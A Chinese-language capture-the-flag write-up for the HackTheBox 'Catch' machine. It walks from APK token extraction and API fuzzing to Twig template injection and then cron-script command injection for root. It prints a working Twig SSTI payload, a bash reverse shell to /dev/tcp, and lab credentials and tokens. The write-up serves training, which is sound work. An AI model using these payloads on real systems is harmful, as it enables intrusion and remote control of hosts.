Catch Writeup

概述(Overview)

image

HOST: 10.10.11.150

OS: LINUX

发布时间: 2022-03-13

完成时间: 2022-06-21

机器作者: MrR3boot

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #Mobile #SourceCodeAnalysis #Fuzzing #SQLi #SSTI #DockerAbuse

攻击链 (KiillChain)

使用 Nmap 扫描目标服务器开放端口,从页面下载 APK 包进行分析发现存在密钥硬编码,通过回话固定 Token 成功访问 lets-chat Web 服务 API 接口。对接口进行枚举发现一组口令,使用该口令登录 Cachet Web 服务后台。在后台找找到 SSIT 漏洞,利用命令执行拿到初步立足点。

通过查看环境变量得到 will 用户密码,成功完成横向移动并逃逸出了 Docker 容器。最终通过监听计划任务分析执行脚本,完成命令注入拿到 root 交互 shell。

枚举(Enumeration)

开始还是使用 Nmap 软件,对目标服务器开放端口进行枚举。

$ nmap -p- -n -Pn -sC -sV --min-rate 2000 -oA nmap/portscan -v 10.10.11.150 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Catch Global Systems | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) 3000/tcp open ppp? ...snip... 5000/tcp open upnp? ...snip... 8000/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Catch Global Systems |_http-favicon: Unknown favicon MD5: 69A0E6A171C4ED8855408ED902951594 | http-methods: |_ Supported Methods: GET HEAD OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu)

从扫描结果中可以获知,目标服务器是 Ubuntu ,对外开放了多个 Web 服务。含两个不同版本的 Apache ,说明可能存在容器服务。

Port 80 - HTTP

使用浏览器访问 Web 服务,发现是一个静官网,唯一的功能就是下载 APK 文件。

650

Port 3000 - Gitea

访问 3000 端口,能够获悉它运行着 Gitea 代码管理系统。在页面的底部能够找到版本信息,当前是 1.14.1 版本。

650

Port 5000 - HTTP

而 5000 端口运行的 Web 服务需要鉴权登录,暂时不知道是系统。

450

Port 8000 - Cachet

访问 8000 端口也是一个 Web 服务,根据页面指纹进行搜索能够获悉它是开源 Web 服务 Cachet

立足点(Foothold)

将 catchv1.0.apk 包下载在本地后,可以使用 apktool 工具对 APK 文件进行解包。

$ apktool d catchv1.0.apk

我选择使用 jadx-gui 工具来进行分析,通过它的图形化来阅读资源会更方便点。

jadx-gui - https://github.com/skylot/jadx

首先阅读 AnderidManifest.xml 文件,这个文件中包含了APP的配置信息,安卓系统需要根据里面的内容运行APP的代码和显示视图界面。

750

从中可以看到声明的可视化界面 Activity 的命名空间:com.example.acatch.MainActivity。直接去源代码去找 MainActivity 类,在里面的视图实现代码中得到一个域名,但没什么用。

600

尝试寻找其他线索。在 Android 项目中的 res/values 中有一个 strings 的 xml 文件,官方推荐将项目中所有的字符串和字符串数组放到该文件中,方便维护和复用。从中找到一些服务固定 Token 字符串。

$ cat res/values/strings.xml | grep -i token <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string> <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string> <string name="slack_token">xoxp-23984754863-2348975623103</string>

在 Google 上搜索字符串 lets_chat_token ,能够得到它出现在 lets-chat - https://github.com/sdelements/lets-chat Web 项目中。

浏览 Github 上项目 Wiki 描述知道它是采用 JWT 进行权限,结合刚才获取到的 Token 字符串,对站点进行路径枚举。

$ feroxbuster -u http://10.10.11.150:5000 -w ./SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -d 1

650

开始对枚举的路径进行访问尝试,访问多个路径发现都没有返回预期的结果。开始去HTB论坛 - https://forum.hackthebox.com,里面的主题帖找线索。

里面提及到 https://github.com/sdelements/lets-chat/wiki/API 但写的很隐晦,我硬是没看懂。最后是对 rooms 接口返回的结果 id 进行路径枚举才突破到下一阶段的。使用 ffuf - https://github.com/ffuf/ffuf 工具进行快速枚举。

$ ffuf -w ./SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.150:5000/rooms/61b86b28d984e2451036eb17/FUZZ -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -fc 404,400

750

可以看到,当请求 /messages 时存在多行字符串结果显示。随后请求这个路径,从结果中看到一组凭证信息。

750

Here are the credentials `john : E}V!mywu_69T4C}W`

随后使用这组凭证尝试是否存在密码复用,发现可以成功登录 Cachet 进入控制台。

550

开始对后台功能进行漏洞尝试,在文章发布功能中找到 Twig 版 SSIT 漏洞。

600

接下来就简单了,利用 SSIT 漏洞进行命令执行上线反弹 shell。

## Twig 测试命令执行 Template: {{[0, 0]|reduce("system", "id")}} message: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n ## Twig 反弹上线 shell Template: {{["bash -c '/bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1'", 0]|sort("system")|join(",")}} ----> getshell

成功拿到立足点,但是发现存在 /.dockerenv 文件,说明后续可能还要进行容器逃逸。

550

横向移动(Lateral Movement)

因为存在 Docker 容器,所以我执行了 env 命令查询下环境变量中是否存在可疑信息。随后发现 DB_* 开头的一组数据库连接口令。

$ env ...snip... DB_PASSWORD=s2#4Fg0_%3! APP_KEY=base64:9mUxJeOqzwJdByidmxhbJaa74xh3ObD79OI6oG1KgyA= DB_USERNAME=will DB_DATABASE=cachet

使用该口令进行 SSH 登录,成功进入目标服务器的物理机,完成横向移动。

600

权限提升(Privilege Escalation)

将 linpeas 脚本传递到目标服务器上运行,发现有个可疑的 verify.sh 脚本,我们对它具备读取和执行权限。

600

考虑存在计划任务执行,将 pspy 传递至目标服务器运行监听。果然和预想的一样,root 用户通过计划任务执行了该脚本。

700

分析 verify.sh 脚本,它会去检查 /opt/mdm/apk_bin 目录中的 APK 包,并对其进行解包。其中它会正则提取 res/values/strings.xml 文件中的 app_name 值。将它做为变量,通过管道连接符最终使用 sh 去执行字符串。

# 循环 /opt/mdm/apk_bin,找.apk结尾的文件, ...snip... app_check() { APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml") echo $APP_NAME if [[ $APP_NAME == *"Catch"* ]]; then echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}' mv "$3/$APK_NAME" "$2/$APP_NAME/$4" else echo "[!] App doesn't belong to Catch Global" cleanup exit fi } ...snip...

注意中间还存在一个 if 判断,匹配的字符串中必须包含 Catch。所以我这里是结合 base64 转化后执行反弹 shell。

700

替换 res/values/strings.xml 文件对于字符串:

700

使用 apktool 工具重新打包成 apk 文件,随后上传至目标服务器的 /opt/mdm/apk_bin 目录。

600

等待计划任务触发,最终成功得到 root shell。

700

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。